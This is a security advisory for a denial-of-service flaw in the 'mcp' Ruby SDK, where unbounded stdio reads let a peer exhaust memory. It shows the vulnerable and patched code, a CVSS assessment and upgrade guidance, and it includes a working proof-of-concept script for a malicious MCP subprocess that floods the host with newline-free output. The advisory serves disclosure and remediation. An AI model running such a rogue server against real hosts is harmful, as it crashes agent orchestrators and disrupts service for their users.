CVE-2026-63119: Denial of Service via Uncontrolled Resource Consumption in Model Context Protocol Ruby SDK

The Model Context Protocol (MCP) Ruby SDK, distributed as the gem 'mcp', provides a standardized framework for integrating language model host applications with external data sources and tools. This SDK relies on standard input and output (stdio) streams to facilitate process-to-process communication between host clients and sub-process servers. This architecture establishes a local security boundary where the host application executes and monitors sandboxed helper servers.

Prior to version 0.23.0, the transport layers governing these standard streams suffered from a resource management vulnerability classified under CWE-400 and CWE-770. When reading incoming frames, the SDK failed to impose upper bounds on the individual stream reads. This omission exposed the client and server processes to denial of service attacks via arbitrary memory allocation.

An attacker capable of sending data to the process standard streams can stream continuous payload strings without terminating delimiters. This forces the Ruby runtime to continuously extend heap-allocated memory blocks. The attack eventually triggers the kernel Out-Of-Memory (OOM) killer, terminating the target process.

The root cause of this vulnerability lies in the unconstrained use of Ruby's native IO#gets method within the stdio transport classes. By default, the IO#gets method reads a line from the input stream up to the first occurrence of the record separator, which is typically a newline character. When invoked without an explicit limit parameter, the method reads indefinitely until the separator is detected.

During execution, CRuby dynamically reallocates heap memory to store the incoming stream data in a contiguous string buffer. If the remote peer streams non-newline characters continuously, the buffer size expands in a linear relationship with the volume of bytes received. The runtime performs no intermediate length validation during this acquisition loop.

This behavior permits a single frame to consume all available system RAM and swap partition memory. Because the application cannot yield or intercept the execution flow during the blocked IO gets call, the heap grows until the operating system kernel intervenes. This culminates in the termination of the host process by the system OOM subsystem.

The vulnerable codebase handled stream input inside infinite execution loops without limiting constraints. In the client transport, located in 'lib/mcp/client/stdio.rb', the read_response loop retrieved frames from the subprocess stdout stream via '@stdout.gets'. Similarly, the server transport in 'lib/mcp/server/transports/stdio_transport.rb' executed a loop checking '$stdin.gets'.

# Vulnerable Client Code Path
def read_response(request)
  loop do
    ensure_running!
    wait_for_readable!(method, params) if @read_timeout
    line = @stdout.gets # Vulnerable: infinite read
    raise_connection_error!(method, params) if line.nil?
    parsed = JSON.parse(line.strip)
  end
end

The fix introduced in version 0.23.0 defines a default line-length restriction named 'MAX_LINE_BYTES', configured to 4 MiB. The updated transport reads are refactored to supply this limit parameter to the native gets method. The updated code validates that the acquired line terminates with the newline delimiter to detect truncated buffers.

# Patched Client Code Path
MAX_LINE_BYTES = 4 * 1024 * 1024
 
def read_line(method, params)
  line = @stdout.gets("\\n", @max_line_bytes)
  # Verify whether gets terminated due to reaching the byte limit
  return line unless line && !line.end_with?("\\n") && line.bytesize >= @max_line_bytes
 
  raise RequestHandlerError.new(
    "Server response frame exceeds #{@max_line_bytes} bytes without a newline",
    { method: method, params: params },
    error_type: :internal_error,
  )
end

To exploit this vulnerability, an attacker must establish control over a stream monitored by the SDK. In a client-side attack scenario, the host application spawns an untrusted MCP server subprocess. The subprocess then initiates an infinite loop, streaming arbitrary characters to its standard output descriptor without appending newline delimiters.

In a server-side attack scenario, an attacker with write access to the server standard input stream pipes an infinite byte sequence to the listening server process. The server's input parsing loop attempts to process the incoming payload. In both scenarios, the target process memory footprint exhibits rapid linear growth.

# Exploit PoC for Malicious MCP Subprocess
$stdout.sync = true
init_req = $stdin.gets
if init_req
  # Respond to initialization handshake
  $stdout.puts '{"jsonrpc":"2.0","id":"init","result":{"protocolVersion":"2025-11-25","capabilities":{},"serverInfo":{"name":"Malicious Server","version":"1.0.0"}}}'
end
$stdin.gets
payload_chunk = "A" * 1024 * 1024
loop do
  # Stream data continuously with no newlines
  $stdout.write(payload_chunk)
end

The impact of CVE-2026-63119 is localized to system availability. Successful exploitation results in immediate denial of service through process termination. Because the vulnerability does not provide arbitrary code execution or memory disclosure capabilities, confidentiality and integrity scores remain unaffected.

The CVSS v3.1 base score is assessed at 6.2 with a vector of 'CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'. The local attack vector classification reflects the requirement for standard stream interception or subprocess initiation. However, no special user privileges or complex interactions are required to trigger the crash.

This vulnerability poses particular risk to agentic workflows that dynamically load and run third-party tool servers. If a host platform interacts with unverified tools, a rogue server can crash the orchestrator process. This breaks execution state and degrades service availability across the deployment environment.

Remediation requires upgrading the 'mcp' gem to version 0.23.0 or higher. The update implements safety limits on standard I/O stream acquisitions and validates inputs. Projects should update their Bundler Gemfile configurations to enforce the safe minimum version.

# Safe dependency specification in Gemfile
gem 'mcp', '>= 0.23.0'

If upgrading is delayed, developers can implement a wrapping transport interface that restricts the standard streams before passing them to the SDK. This involves parsing incoming bytes manually through a customized buffer check. However, direct library update is the most reliable mitigation path.

In addition to stdio boundaries, the 0.23.0 release introduces body size limits on the streamable HTTP transport. This prevents similar memory exhaustion vectors over network endpoints. It also integrates host validation headers to protect against DNS rebinding tactics.